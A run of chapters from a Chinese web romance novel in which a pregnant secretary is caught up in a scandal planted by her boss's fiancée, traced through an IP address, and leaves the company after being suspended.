而对豪门来说随手的一笔钱,都能让普通人下半辈子衣食无忧。 沈渺可真够心机的,她偏不如沈渺得意…… —— 贺忱不在,工作量虽然增加,但沈渺的心里松快不少。 眼不见心不烦。 但总有不长眼的人,往上凑。 贺忱带程唯怡出国的消息,不胫而走。 何之洲借着跟政圈那个项目,大张旗鼓地跑到百荣来见她。 毕竟是九洲的总裁,前台不能拦着,打电话给林昭。 林昭一听这尊大佛来了,立马来找沈渺。 “何总一定是来找你的。” 沈渺头一阵大,不等她在这消息中缓过神来,正对工位的电梯已经打开了。 何之洲一身浅灰色西装,骚包粉的衬衫随意敞开着领口。 头发梳理得一丝不苟,看上去人模人样的。 “沈秘书。” 他桃花眼一眯,朝沈渺笑得跟朵狗尾巴花儿似的。 “何总。”林昭打声招呼,溜之大吉。 何之洲手肘撑在沈渺办公桌的边缘处,看了眼林昭离开的背影。 “林助走了,那我只能找你谈工作的事情了。” 他假模假样的。 沈渺,“我带您去楼下,让项目负责人跟您谈工作的事情。” 旁边就是秘书办,不时有人探头看过来。 何之洲想说的话题,在这儿不方便聊,他乖乖跟着沈渺下楼。 十七楼原沈渺办公的房间,现在又空下来,被当做待客室。 沈渺带何之洲过去,然后给项目负责人打电话。 “别别别,我是来找你的。” 何之洲阻止她打电话,“我这儿,有点儿一手消息,你要不要?” 沈渺的手机被他夺走,揣在口袋里。 她眼皮轻掀,看何之洲的目光寡然无绪。 “我不要。” 何之洲:“……” “你要吧,跟贺忱有关的。” 沈渺扯了扯嘴角,“没兴趣。” 何之洲是兴冲冲来的。 他以为只要是跟贺忱有关的事情,沈渺都会感兴趣。 谁知—— “不儿,跟你肚子里娃他爹有关的事情,你怎么能说没兴趣呢?” 沈渺转身在椅子上坐下,双腿叠放木着一张脸。 她不扭头就走,是知道何之洲不会让她离开。 “我求你了,你说你感兴趣。” 何之洲的兴奋之火被浇的透透的,差点儿没给他凉出脑震荡来。 沈渺问,“是不是说了,我就能走?” “我保证,你听了就不想走。”何之洲眉尾一挑,信心十足。 “那你说。” 何之洲拉过一旁的椅子,在她面前坐下。 “你知道程唯怡为什么突然出国两年吗?” 他故弄玄虚。 沈渺摇头,“不知道。” 何之洲,“贺忱刚上大学时遭遇过一场绑架,程唯怡阴差阳错的救了他,受了很严重的伤,那些年一直在治疗,但没效果,于是她只能出国去治疗,一去就是两年,她是贺忱的救命恩人。” 沈渺记得那次的事故,商战。 但贺家唯一继承人被算计,对贺家来说是丑闻,所以新闻没多久就被压得干干净净了。 她回忆着时,何之洲盯着她看。 却没从她脸上看到什么情绪。 “说完了?”沈渺将叠放的腿拿下来,随时准备送客。 “不,你往深了想!” 何之洲迫切的‘诱导’她,“你想啊,程唯怡救过贺忱的命,贺忱娶她会不会为了报恩?” 沈渺眨了眨眼睛。 别说,还真别说,她没往这方面想过。 毕竟,贺忱报恩的法子有很多种,不会把自己一辈子搭进去。 “你能不能给我点儿反应?” 见沈渺依旧无动于衷,何之洲又被泼了一盆冷水。 沈渺汲气,“贺忱还真有可能是为了报恩娶程唯怡的,何总分析得真到位。” 她黑白分明的眼眸没有一丝波澜。 唇瓣张合,不带情绪地顺应着何之洲的话,差点儿没让何之洲背过气去。 “你不信是吧?”他掏出手机,拨出一个电话去,“给我查,查程唯怡那两年在国外的所有事情,事无巨细!” 他一定要证明给沈渺看,贺忱跟程唯怡结婚,一定有内幕。 沈渺的眉头几不可查地凝着,“何总,没必要。” “你等着,查到了我就告诉你。” 何之洲不等她送客,挥手先走了。 但他还会再来,再来时一定是调查出什么的时候。 沈渺很忙,没空去想这事儿。 但夜深人静时,何之洲的话就会浮现在她耳边。 她对贺忱那份早已埋藏在心底深处的感情,又冒出了不该有的枝芽。 只是一瞬的动摇,她很快将那颗新芽连带着根,一并拔除。 第二天一早,何之洲出现在她家楼下。 她刚下楼,何之洲就迎上来了。 “我怀疑程唯怡为了救贺忱,身体一定留下隐患了,不然她也不能去国外治疗。” “何之洲,我对这个话题,对贺忱跟程唯怡的事情,不感兴趣。” 沈渺手里拎着黑色公文包,黑色蕾丝宽松长裙,过了她的膝盖,只露出两条细长的小腿。 她绕开何之洲,往自己车上走。 何之洲跟过去,“那你说,贺忱不是因为感情娶的程唯怡,他万一知道你生了他的孩子,他会不会跟程唯怡离婚?” 沈渺的脚步戛然而止。 她的手都已经搭在汽车把手上,又缩回来。 “这个孩子,是我的,跟贺忱无关。” 何之洲不理解,“你怎么就不想母凭子贵呢?” “因为我跟其他人不一样,我只是想留下这个世界上唯一跟我有血缘关系的孩子,他是一个意外,但也是真实存在的。” 沈渺一字一句,掷地有声。 何之洲突然想到,沈渺为救卷卷,掏空积蓄的事情。 对上沈渺坚定的目光,他心底一颤,震撼不已。 沈渺拉开车门上去。 目送她离开,何之洲挠了挠头,也上了车。 可是他在车上平复了好一会儿才离开。 脑海深处是沈渺的话,和她的眼神。 一种说不出来的感觉,一点点侵蚀着何之洲的内心。 两人先后离开,不远处有人拿着相机,从暗中走出来…… 115.不做检查,不回国 M国,医院。 “贺忱哥,我们为什么要到这里来?”程唯怡坐在车上。 她的手死死抓着裙摆,一脸抗拒。 贺忱站在车边抽烟,车门敞开着,他在等程唯怡下车。 “听说这里有一位专治疑难杂症的医生,很有名。” 车停在医院的那一刻,程唯怡的脸色就已经很差了。 此刻,更是血色褪尽,煞白。 “我不去医院!” 贺忱吸了口烟,烟雾缭绕蕴在他脸颊,他的面色高深莫测。 “最坏的结果就像现在这样,去看看。” 男人的声音透着不容置疑,不给程唯怡拒绝的机会。 程唯怡的手死死攥着,掌心都快被指甲扣烂。 “贺忱哥……” “下来,我陪你。”贺忱掐灭烟,半哄半命令。 躲不过了。 程唯怡呼吸一促,看了贺忱好几秒,然后才下车。 待她下来,贺忱关车门。 回身的功夫,程唯怡已经朝对面马路上跑去。 他眉头一拢,还不等追上去,程唯怡已经上了出租车。 一个小时后,酒店。 程唯怡将自己锁在房间里,不肯开门。 “我要回国!”她冲着门外嚷。 贺忱坐在沙发上,骨节分明的手上拿着一份杂志。 叠放的双腿姿态矜贵慵懒,又透着十足的掌控力。 “不做检查,不回国。” 霎时,程唯怡的哭声没了,房间里静得落针可闻。 贺忱不急不缓地看着杂志,时不时看一眼推送的财经新闻,静等着。 时间一分一秒过去,从早到晚,室内光线逐渐变暗。 乍然响起的手机铃声,打破了沉寂。 贺忱拿出手机接电话。 “贺总,不好了,政圈项目出问题了!” 贺忱狭长的眸倏地眯起。 “媒体突然爆出何之洲跟沈秘书关系混乱,政界最忌讳名声了,要取消合作。” 虽然已经签了合同,可最终解释权在政界手里。 何之洲是九州的总裁。 沈渺只是百荣的秘书。 相比之下,九州受到的影响更大。 但毕竟被政圈取消合作,这将会是百荣有史以来的企业污点。 “现在百荣股市受影响,董事们都来问您什么时候回来。” 参与政圈项目,是贺忱的决定。 当初贺忱在董事会上保过沈渺,此时又是沈渺那儿出纰漏。 现在项目出事,董事们自然要找他。 “订票。”贺忱薄唇轻启,他沉吟片刻又说,“彻查这件事幕后黑手。” 林昭语气凝重,“是,贺总。” 贺忱虽然走了,可他留了人在M国,跟着程唯怡。 但他不在了,程唯怡松一口气,立马打电话求助。 可她打给的,不是程家,而是秦川。 “贺忱哥带我来M国看的医生,是你的老师,你去打个招呼……” 她的话还没说完,就被秦川打断了,“办不到。” 此刻是国内的晚上。 秦川的声音睡意很浓,但遮掩不下他语气里的冰冷。 “你不怕我……” “我怕你,但你也怕我。” 秦川点了根烟,打火机的声音在夜晚十分清晰。 他深吸一口烟,吐出薄烟,语气更为薄凉。 “大不了鱼死网破。” 电话中断。 M国的气温比国内高,本就燥热的气候,这通电话让程唯怡更觉得热火朝天。 烦躁在她心头上涌出来。 唯一让她心里舒坦的是,沈渺跟何之洲的新闻总算爆出来了。 这下何家肯定会注意到沈渺,沈渺那母凭子贵的计划,注定要失败! —— 沈渺没想到,会突然爆出这种新闻。 何之洲及时给她发来消息:【妈的,有人想坑我!让我知道谁这么大的狗胆,我要她的命!】 百荣跟九洲的合作,对商圈其他人来说不是好事。 强强联手,其他人就只能瑟瑟发抖,在他们的手指缝里接汤喝。 但用这种下三烂招数,破坏了合作的人四肢发达头脑简单了些。 毕竟伤不了百荣、九洲根基,等待那人的绝对是对方承受不住的反击。 沈渺将商圈有可能的人都过筛了一遍,也想不出是谁这么没脑子。 但眼下,她顾不上这些。 何家人是在新闻爆出三个小时后,找上门的。 新闻里说,何之洲跟沈渺因为项目的事情纠缠,已经在一起很久了。 沈渺几次闹离职的铁证都被摆出来,她想嫁入豪门。 何之洲压着不让她离职,因为还没说服何家人接纳她这个出身的进门。 若沈渺不是当事人,她都信了这鬼话,说得头头是道。 何夫人会信,并且找上门来,实属预料之中。 “说吧,多少钱你才肯离开我儿子?” 但何夫人的开场白,不在沈渺预料中之内。 原来,所有的豪门阔太太都一样。 何夫人跟明黎艳一样,都选择用钱来打发人。 “何夫人,我跟何总不是网传的那样,有人故意破坏百荣跟九洲合作,这是商战问题。” 沈渺声音沙沙的,还算平静的解释。 何夫人从包里拿出一张支票,上面写着两百万。 “我没有耐心去调查证据,给你你就拿着,以后识趣一点,跟我儿子保持距离。” 两百万对何家来说,九牛一毛。 商战有何之洲他们处理,何夫人掏两百万搞定沈渺,两头行动效率最高了。 沈渺将支票推回何夫人面前,“抱歉,这钱我不能收,收了钱就等于坐实我跟何总不清不楚。” 收了钱,何夫人心安,可她的内心会不安。 何夫人诧异地看着她。 就算沈渺跟何之洲没关系,收了这两百万也不会亏。 万想不到,沈渺不收。 “何夫人,再会。”沈渺站起来,离开咖啡厅。 她是被何夫人临时从公司喊出来的。 若不是现在公司乌烟瘴气,她待不下去,都不打算来见何夫人。 外界都觉得她跟何之洲不清不楚。 可公司里的人都认为,她跟张科研在交往。 她的名声,算是被毁在了这一个又一个的谣言里。 但是无所谓,只要跟贺忱没谣言就行。 下午三点,贺忱在京北国际机场落地。 沈渺跟林昭一起去接他。 两人各自拎着一个公文包,站在VIP接机口。 贺忱伟岸的身影渐行渐近,那双如注的眸光远远地就将沈渺给罩住了。 116.一致认为,开除沈渺 贺忱的面色不辨喜怒。 高挺的鼻梁削薄的唇型,轮廓渐渐清晰,印刻在沈渺的眼底。 贺忱停在她面前,居高临下看着她。 沈渺垂下眼帘,率先开口,“贺总,抱歉,又给您添麻烦了。” 虽然她跟何之洲没什么。 可毕竟是跟何之洲牵扯上了,才会被媒体拍到,传出这样的新闻。 这次的事情,百荣损失八位数,名誉还受损了。 “先……” “贺总,沈秘书也是冤枉的,何之洲跑到公司来找她,她躲也躲不开,咱们这次是被连累的!” 林昭替沈渺说情,这事儿真不赖沈渺。 贺忱一个刀子眼扫过去,“话多。” “贺总,我们先上车再说吧,外面有记者。” 沈渺示意林昭别说了。 贺忱不是听劝的脾气。 而且现在不是追究责任的时候。 政圈项目是贺忱突然决定参与的,其次是出事时,他又因为私事不在国内。 董事们在等一个交代,而且等他很久了。 贺忱阔步朝停车场走,沈渺掉头跟上。 奔驰商务车里,漆黑锃亮的车身被一簇簇灯光打出停车场残影。 林昭开车,她与贺忱并排坐在后面。 “贺总,这是公关部给出的两个应急方案,您先过目。” 她把笔记本推到贺忱面前。 笔记本的光亮折射在贺忱瞳仁深处。 他只是扫了一眼,便收回目光,“你处理,董事们那边什么情况?” “您最近没少帮衬程家,董事们早已心生不满,这次是趁机借题发挥。” 贺忱的能力摆在这儿,他接手百荣后带着公司上升了不知几个度。 若非如此,在公司的股市因贺忱与程唯怡的事情受影响时,董事们早就不愿意了 沈渺话音刚落地,开车的林昭就倒吸一口凉气。 要知道,这次的舆论因沈渺而起。 贺忱还没跟沈渺算账,沈渺又挑他不爱听的说,这不是上赶着找不自在呢? 贺忱舌尖抵着腮帮,‘嗤’的一声笑出来。 不知是被沈渺的直白气笑了,还是面对现状的怒极反笑。 沈渺把笔记本合起,车厢里又静了几分。 半小时后,百荣。 贺忱回来后,径直进入会议室。 林昭陪他进去,舌战群‘董事’,沈渺回到工位上等着会议结束。 等的过程中,政圈那笔项目的提成到账了。 新闻爆出的时候,财务部已经将这笔钱递交银行走流程。 再晚一步,这笔钱就落不到沈渺手里了。 晚七点,华灯初上,会议结束。 董事们一个个沉着脸出来,三五成群却一言不发。 贺忱走在最前面,周身散着上位者的俾睨。 他后面,是快步跟上来的明黎艳。 “彻查!我倒是要看看,谁敢跟你过不去!” 从利益上来说,九洲损失比百荣要多一些,何之洲个人比贺忱更惨,将会受到更多的指责。 但是从个人来说,贺忱这商界权贵,第一次的人生污点,葬送在这件事情上。 与其说有人想破坏百荣跟九洲合作。 不如说,是有人冲贺忱来的。 “已经在查了。”贺忱阔步而来,睨了一眼沈渺,步伐没有一丝停顿地进入办公室。 明黎艳顿了下,狠狠瞪了一眼沈渺,“都是你惹的好事!” 沈渺面无表情。 是不是她惹的,明黎艳看到她都要损两句。 她都见怪不怪了。 沈渺不为她那一眼所动的样子,让明黎艳气上加气。 但她还是先进了办公室,又跟贺忱提起程唯怡。 “你把唯怡一个人丢在国外了?” 贺忱已经在办公桌前落座,“她还有事,不能回来。” 明黎艳不满,“她一个女孩子,你怎么放心得下?” “她在国外待了两年,不都是好好地。” 贺忱看明黎艳一眼,“没有其他事情您先走,我还有其他工作要处理。” 他打通内线,“做一份政圈项目总结报告,下班前给我。” 沈渺,“是。” 明黎艳走了。 贺忱所谓的下班前给他,是让沈渺做完了再下班。 好在项目一出事,沈渺就已经在准备这些。 一个小时后,她将文件送到贺忱办公室。 “贺总,没有其他事情,我先走了。” 贺忱接过文件,眉目处透着倦意。 出国后还没来得及倒时差,带程唯怡去医院,又僵持了大半天。 连夜赶回国,他已经二十多个小时没有睡觉了。 “贺总,董事们应付完了,其他的工作不着急。” 沈渺提醒了句。 贺忱翻动着文件,头也不抬地问,“何之洲又为什么事情找你。” 他不提,沈渺都忘了。 何之洲说,贺忱娶程唯怡不是因为感情。 她黑白分明的眼眸定定看着贺忱。 莫名想从贺忱的脸上,找到一丝蛛丝马迹。 办公室亮如白昼,贺忱微低着头,骨相生得极好的他三百六十度无死角。 男人右手边的手机乍然响起。 是程家打来的。 贺忱捏着眉心接电话,身子朝后靠过去。 不知那端的人说了什么,贺忱的脸色又沉了一分。 “抱歉,是我的疏忽,给程家也带来了麻烦,所有损失我来承担。” 沈渺悄无声息地退出办公室。 他娶程唯怡,怎么可能会不是因为感情呢? 这个世界上,哪里有什么事情能左右得了贺忱? 沈渺心口传来丝丝疼,不致命,但有些难受。 她收拾好东西离开公司。 前脚走,后脚林昭就来了贺忱办公室。 “贺总,这是公关部给出的实施型方案。” 今天沈渺给贺忱看的,是如何对外口头澄清绯闻,挽回名声。 事情关乎着沈渺,所以这第三份实施型应对方案,公关部交给了林昭。 他们一致认为,开除沈渺,能有效避免公司名誉继续受损。 “今天董事会上,董事们也是这个意思。” 再有能力,也不过是个秘书。 贺忱长眸凛冽,透着复杂清冷的情绪。 不知过了多久,他将那份报告放到一旁,“调查幕后黑手的事情,怎么样了?” “已经找到了第一家曝光的媒体,正在交涉中,相信很快就有结果。” 只要贺忱想,第一家曝光的媒体能在几秒钟消失在这个圈子里。 没有人能保得住的情况下,只要那家媒体的负责人不傻,就会吐露出来幕后黑手。 林昭刚说完,手机就响了。 “贺总,来消息了。”他立马转身接起电话。 117.你跟贺总在酒店,又睡了? 不过几秒,林昭一脸猪肝色地挂电话。 他慢慢扭头,看向贺忱,欲言又止。 “直接说。” 林昭支支吾吾,“根据那家媒体收到的匿名邮件调查发现,那是……程家的IP。” 贺忱剑眉紧蹙,暗眸划过一抹不解。 “但没准是误会,我这就让人再查查!”林昭立马又打电话去深入调查。 但深入调查了两次,矛头都指向程家。 “这一定是有什么误会,有人想一石二鸟,挑拨了百荣和九洲,还挑拨您和程家的关系!” 林昭不信程家会干这种事儿。 贺忱面色郁郁,他面色的不解稍纵即逝,沉声道,“把东西都给程家发过去。” “是。”林昭颔首。 程家怎么会干这种事儿呢? 林昭太不理解了,将东西发给程家后,又给沈渺打了一通电话。 “程青良那个人精明的人,不会中别人的圈套,难道是有什么迫不得已的苦衷?” 他在贺忱面前嘴上说着是误会。 但对自己手底下人的调查十分有信心,不会出错的。 “贺忱能帮他解决所有的苦衷,他不傻。” 沈渺也觉得,程家不可能干这种事情。 这件事情是程家没跑,但一定有内幕。 毕竟,程家不是程青良一个人。 “沈秘书,你怎么想的,跟我说说?” 林昭一直都觉得,沈渺很聪明,那双明眸看事情,仅次于贺忱毒辣的眼睛。 “等着吧,程家那边会给出一个交代的。” 沈渺向来不会在没有证据的前提下,说任何不负责的话。 林昭叹息了一声。 “董事会那边什么意思。”沈渺再度开口。 林昭结巴了下,“这,就交给贺总处理吧,董事们……” 沈渺打断他,“看来,董事们是要求开除我,包括公关部,他们应该也有另外一套实施性的方案。” 都被她猜中了。 林昭遮掩不住,还无从否认。 “你放心,贺总一定会保你的,我也在贺总面前替你游说了,他……” “谢谢。” 董事会结束后,对沈渺的制裁没有立刻执行下来。 沈渺就知道,林昭替她说情了,而贺忱还在考虑中。 “不用替我说情了,别忘了我年前就打算辞职的。” 再次聊起离职的话题。 林昭长叹气道,“百荣是商圈最顶尖的存在,依你的能力,你去哪里都是大材小用,而这儿的待遇也一定是最好的啊!” “这些,我都权衡利弊过了。” 沈渺语气平静。 “我知道,你是介意跟贺总那段婚姻,怕留下来两难,要不我再跟总裁说说,把你调到分公司去?” 林昭跟她共事多年,除了同事情谊,还有一份坚不可摧的友谊。 他希望沈渺理智,没有背景的他们能走到今天,都不容易。 一旦失去,这辈子都不会再有这样的机会。 “你能说得动他?”沈渺反问。 贺忱的性子,是那种听劝说的人? 林昭‘嘶’了声,很是头疼。 沈渺,“也不完全是为了这些。” “那……”林昭支支吾吾几秒,声音极小地说,“是因为年前,你跟贺总在酒店,又睡了?” 此刻已经深夜十一点。 居民楼大部分的灯都暗了,沈渺的两居室里静悄悄的。 她已经上了床,打算跟林昭闲聊几句就睡觉的。 谁知,被林昭一句话,炸了周围所有的平静。 ‘嗡’的一声在她脑袋里炸开,她耳膜都被穿透般抽痛。 “你,你说什么?” “那次是我给你收的尾,不然贺总怎么可能什么都不知道?” 林昭见沈渺赶在贺忱走之前跑了,就知道她想当做事情没发生过。 所以第二天贺忱问,“有没有人进过我房间?” “没有。”林昭一口否认,并且还说,“昨晚这家酒店的网络被入侵了,散播了滛·秽视频,不少人都被吵醒了,是不是打扰您休息了?” 滛·秽视频? 贺忱明明觉得,昨晚那血脉喷张的画面,是真的。 他那双手,掐着女人细细腰—— “林昭。”沈渺‘噌’一下再床上坐起来,她紧捏着眉头,心都快从嗓子眼里跳出来。 若她怀孕的事情曝光,林昭将会是第一个知道,这个孩子是贺忱的! “你放心,我一定会替你瞒着的!那次是意外,我跟谁都没说!” 林昭知道,沈渺是不想把事情闹大。 毕竟贺忱跟程唯怡都快结婚了。 沈渺眉心被掐出红印子,却一点儿也冷静不下来。 果然,天底下没有不透风的墙。 “希望你这辈子,都能把那件事情当成没有发生过。” 通话在沈渺这句无奈的话语下结束。 短短数十秒,她竟是出了一身冷汗。 重新躺下来,她的长发粘连在额头脸颊,乌黑的双眸在深夜中,隐隐散着惴惴不安的幽光。 沈渺几乎一夜没睡。 翌日顶着两个黑眼圈到公司时,把林昭吓了一跳。 “你脸色怎么这么差?” 沈渺扯动嘴角,“没事。” 她坐下来,避而不对林昭的视线。 借着桌面将肚子遮掩住,坐下来就不动了。 “你真不用介意昨晚我说的事情。” 林昭走到她面前来,“我跟你保证,绝对不跟任何人说。” 他的保证,并不能让沈渺安心。 若只是睡了那一夜,她有什么好怕的? 不是还有肚子里这个呢? “咱俩共事这么多年,你不信任我的人品吗?” 林昭没想到,沈渺是这个态度的。 沈渺有嘴说不清,她歉意地看了看林昭,“不是不相信你,只是……事情比你想的有些复杂。” 确实挺复杂的,毕竟还掺杂了程唯怡。 林昭换位思考了一下,若他是沈渺只怕也不能淡定。 —— 机场。 因为贺忱把程唯怡一个人丢在M国,所以程唯怡回国时,明黎艳跟孙易琴一起去接机的。 半路上,明黎艳还在处理这次舆论带来的后患。 “你放心,沈渺肯定会开除的,但眼下开除沈渺只会让人觉得百荣不讲情面,相信贺忱,让他处理……” 一个董事打来电话,问这次事件处理进度。 明黎艳再三安抚下,结束通话。 她的手机刚挂断,孙易琴的电话就响了。 是程青良打来的。 “你接到唯怡,立马问问她为什么散播那些谣言!” 118.沈渺引咎辞职 车厢里空间逼仄,又十分静落。 程青良的话,清晰地传入明黎艳的耳朵里。 明黎艳诧异地看向孙易琴。 孙易琴下意识看向她,而后低声说,“你,你在乱说什么?什么就唯怡散播的?” “贺忱已经调查过了,匿名给媒体举报何之洲跟沈渺的,就是程家的IP,我刚刚查过了,是从唯怡的电脑的发出去的!” 程青良焦头烂额,“你把她给我带回来,问问她怎么想的!” 明黎艳的脸色一点点沉下来,眼眸里已然涌出生气。 “一定是弄错了!”孙易琴毫不犹豫地说。 “怎么会弄错?我在唯怡……” 程青良不知明黎艳在孙易琴车上。 他的话还没说完,孙易琴就把电话给挂了。 “黎艳啊,一定是误会。”孙易琴把手机丢到一旁,去拉明黎艳的手。 明黎艳避开她的动作,“最好是误会,等会儿见到唯怡,就知道了!” 孙易琴面色悻悻,大气都不敢喘,拿着手机悄悄给程唯怡发消息。 【是你曝光的何之洲跟沈渺?】 【你为什么这么做!】 【你知不知道,这给贺忱和百荣带来很大的损失!】 【一定是有什么误会,你等会儿见了你伯母好好说!】 【你伯母很生气,你可千万不要说错话。】 【知道贺忱把你丢在国外,你伯母特意跟我一起来接你,你说话千万要注意!】 程唯怡是逃出来的,她下了飞机将手机打开。 刚开机,就涌进来无数的消息。 一闪一闪她根本没看清楚,只看到最后一条。 明黎艳也来接她了? 一定是为贺忱把她丢在国外道歉的! 这次,她一定要好好跟明黎艳告状。 出机口,贺家的司机在等她。 “伯母跟我妈怎么没过来?” 程唯怡见只是司机在这里等,还有些不高兴。 司机接过她行李,颔首道,“程小姐,这边请。” 程唯怡哼了声,跟在司机后面前往停车场。 劳斯莱斯商务的车门敞开着。 明黎艳坐在那里,光线昏暗令人看不清她脸色的凝重。 孙易琴坐在后面,看到程唯怡来了,一个劲儿地使眼色。 奈何光线太暗,程唯怡什么都没看到。 “伯母。”程唯怡上车,在明黎艳旁边坐下,“贺忱哥真的太过分了,他……带我到国外就是想让我做婚前体检的,他不信任我,还把我一个人丢在那里!” 她想,‘婚前体检’能把明黎艳对她的心疼,拉得更满。 明黎艳看着她长大的,这些年她为了贺忱洁身自好,至今连男人的手都没牵过。 却如此被贺忱怀疑…… “所以,你找人曝光何之洲跟沈渺,就是想报复贺忱带你去国外体检,想把他支开,好逃出来?” 明黎艳怎么想也想不透,程唯怡怎么会害贺忱呢? 现在她终于明白了。 “什……什么?”程唯怡没听懂明黎艳的意思。 但她察觉到明黎艳在生气,并且是很生气。 可是不该生贺忱的气吗?怎么生她的气呢? “唯怡!”孙易琴赶忙喊她,“国内的新闻,你看了吗?” 不过两句话,孙易琴就发现程唯怡没看到她的短信。 她只能旁敲侧击地提醒。 程唯怡‘啊’了一声,点头,“看到了。” “那新闻,跟你有关系吗?”孙易琴又问。 程唯怡大脑飞速运转。 看明黎艳这态度,难道那新闻给贺家带来什么麻烦了? 不应该啊,那新闻只会给沈渺带来麻烦,何之洲也会很惨。 “黎艳,你看唯怡这态度,根本就是什么都不知道的,不会是她曝光的。” 孙易琴赔着笑脸,试图遮掩过去,“她怎么会害贺家,害贺忱呢?” 一个‘害’字,顿时让程唯怡不敢说话了。 她面色不由得涌上来心虚,到底发生什么事情了? “你们两个先下去,我去公司一趟。” 明黎艳要去问问贺忱,这事儿到底是不是真的跟程家有关。 她刚说完,司机就下车,重新将车门打开。 “程夫人,程小姐,请。” 顺势也将程唯怡的行李拿下来了。 孙易琴带着程唯怡下了车,赶在车门还没关之前,她笑着冲明黎艳说。 “注意安全啊,别太为了这事儿着急上火,一定是误会……” 车门缓缓合上,明黎艳连一句回应都没有。 离弦箭一样的车窜出去,留下程家母女站在原地。 车走远,程唯怡拉着孙易琴问,“妈,到底怎么了?” “怎么了怎么了,你说怎么了!” 孙易琴也来了气,“你为什么散播何之洲跟沈渺的谣言?你知不知道因为这件事情,政圈项目黄了,百荣损失惨重,造成董事们对贺忱不满!” 程唯怡倒吸一口凉气。 她哪儿知道,这事儿会影响到政圈项目啊? “那,那董事们能拿贺忱哥怎么样?他可是贺家的继承人。” 孙易琴一听这话,就知道事情铁定是程唯怡干的。 “真正的隐患,也不是董事们的刁难,而是这件事情,会成为贺忱事业上的黑点,明黎艳最忌讳的就是有人挡贺忱的路!” 程唯怡吓得喘气都不敢大喘。 孙易琴又给程家司机打电话来机场接机。 等待期间,她又想起来问,“你到底为什么曝光何之洲跟沈渺?” “我……”程唯怡弱弱地说,“我怀疑沈渺怀的是何之洲的孩子,她想母凭子贵,我想闹出动静,何家人会出面解决她,她的愿望就破灭了。” “沈渺沈渺,又是沈渺!” 孙易琴气得脑仁疼,“只要那个孩子不是贺忱的,你管她干什么?你跟贺忱都要结婚了,你们青梅竹马,感情深厚,岂会因为一个沈渺就出变故?” 会! 程唯怡在心里喊了一句。 可她不能说出来,她只能跟孙易琴说,“妈,我跟贺忱哥……不是你们想的那么简单,伯母那边你帮帮我啊!” 孙易琴只觉得一个头两个大。 —— 上午九点,贺忱姗姗来迟。 他矜贵的面容,透着一抹倦意。 白色衬衫领口敞开两颗扣子,衬衫一角从裤带处松散着,整个人显得不修边幅。 却透着一股慵懒的男性荷尔蒙。 他前脚进入办公室,沈渺后脚就跟进去了。 “贺总,这次的绯闻又给公司带来麻烦了,也让您没办法跟董事们交代,我引咎辞职。” 119.贺忱会不会因此取消婚礼 “引咎辞职的意思是,绯闻是真的,你跟何之洲确实不清不楚。” 贺忱的手指轻点着桌面,声音规律又沉闷。 穿透性的眼神,朝沈渺看过来时,深沉不可见底。 见沈渺不说话,他又提醒,“离开百荣,何家那边也不会轻易放过你。” 上次何夫人甩出支票,想用钱砸人平息事件的意思确实明显。 还有一层原因,是她背后有百荣。 摸不准贺忱什么意思,何夫人不敢有大动作。 沈渺能预料到,离开百荣等待她的是多少麻烦。 但只要她离开京北,那些麻烦就不会存在。 毕竟没多大的深仇大恨,离了这群人眼皮子,谁还能追着她杀不成? “贺总,我已经决定了。” 一抹郁色,在贺忱的眼底溢出,蕴在他那张矜贵的面容上。 他舌尖抵了抵腮帮,下颚线条清晰又分明。 “停职查办,少则一周,多则一个月。后果严重公司将对你予以开除。” 沈渺静默数秒,欣然接受。 走到停职查办这一步,就没有能留下来的。 彰显公司有人情的流程而已。 在贺忱办公室出来后,她就收拾东西离开了。 吴蕾送她到门口。 “没想到事情会朝这个方向发展,科研很自责,若不是他也不会给你带来脚踏两条船的舆论。” 沈渺跟何之洲是真是假不重要。 重要的是她跟张科研正‘交往’。 多少人在背地里议论,吐沫星子都快把沈渺淹死了。 “对于那些听风就是雨的,怎么做也堵不上他们的嘴。” 也不是所有人都在议论沈渺,还是有人保持冷静,不信传言的。 仅差一步出公司门,沈渺停下来。 “好了,别送了,回去上班吧,以后有缘再见。” 吴蕾朝她靠近一步,小声说,“科研正在赶过来的路上,他接你回去,好歹也能消一消舆论。” 沈渺柳叶眉一拧,“你给他打电话,让他别来了,没必要。” 说着,她抬脚朝外面走。 早高峰过去,打车很容易,她刚到路边就有出租车停下。 任凭吴蕾追出来怎么劝,她也还是上了出租车。 刚上车没多久,张科研就打来电话。 “抱歉,我不知道百荣那么多人都误会了我们的关系。” 张科研一开口,就充满歉意。 沈渺开了车窗,她清晰的声音夹杂着风声传来。 “张科研,这个时候尽量跟我保持距离,不然你也会受到牵连。” 那端顿了下,张科研忙说,“我不害怕被牵连。” 沈渺沉吟片刻道,“那你的道歉我接受了,就这样吧。” 说罢她挂了电话。 沈渺被停职查办的消息,不胫而走。 一路上,她接到不少电话。 有其他老总的助理、秘书,以朋友的口吻‘关心’。 事发之后,何之洲倒是安静。 沈渺以为,他这次捅这么大篓子,又被家里关禁闭了。 可当她从出租车上下来,看到何之洲在她家楼下抽烟。 没了往日的精心打扮,头发乱糟糟的,青色胡茬也冒出来一层。 花色的衬衫皱巴巴的,不修边幅。 他脚边一堆烟蒂,显然是等了有一会儿。 “贺忱现在才把你停职,看来他是想在董事面前保你。” 那日是林昭跟着贺忱开的董事会。 沈渺并不知道,贺忱扛了多大的压力。 但她想,“他没必要也没理由保我。” “他怎么没理由?”何之洲掐灭了烟,不知想到什么,愣是气笑了,“你猜猜,谁在背后搞咱俩。” 咱俩? 沈渺不解,“不是冲百荣和九洲来的?” 何之洲骂了句脏话,“放眼商圈,吃了熊心豹子胆的也不敢这么干!” 跟了贺忱这么多年,沈渺见多了商战。 这么做虽有违常理,可若对方是光脚不怕穿鞋的,倒也说得过去。 所以沈渺没想过,这事儿是冲她和何之洲来的。 冲她…… “程唯怡?” 何之洲眼里染上兴奋的笑意,“沈渺,你太聪明了。” 聪明到他真的害怕,沈渺能揣着肚子,就这么在贺忱的眼皮子底下走了。 沈渺意外了几秒,也扯动嘴角被气笑了。 程唯怡是用此来试探,她的孩子是不是何之洲的吗? 结果却害了贺忱。 “这次,我是被你连累了。”何之洲想在她这儿讨个人情条件。 沈渺笑意收敛些许,“那我们两清。” 何之洲垮了脸,“我不欠你什么吧?” “你说呢。”沈渺绕开他进单元楼里,“以后各不相欠,也没必要联系,何总别再来了,我们不是一条船上的人。” 何之洲站在单元楼门口,看着她的背影,心莫名一抽。 “咋就不是一条船上的人了?我们共同的敌人是程唯怡,我不会放过她的!” 程唯怡是有能力抹除爆料给媒体的证据的。 但她故意留着证据,就是等着何家查。 查到她头上,她背靠贺家,何家拿她没办法。 这是赤裸裸的挑衅。 何之洲这人,最禁不起挑衅了。 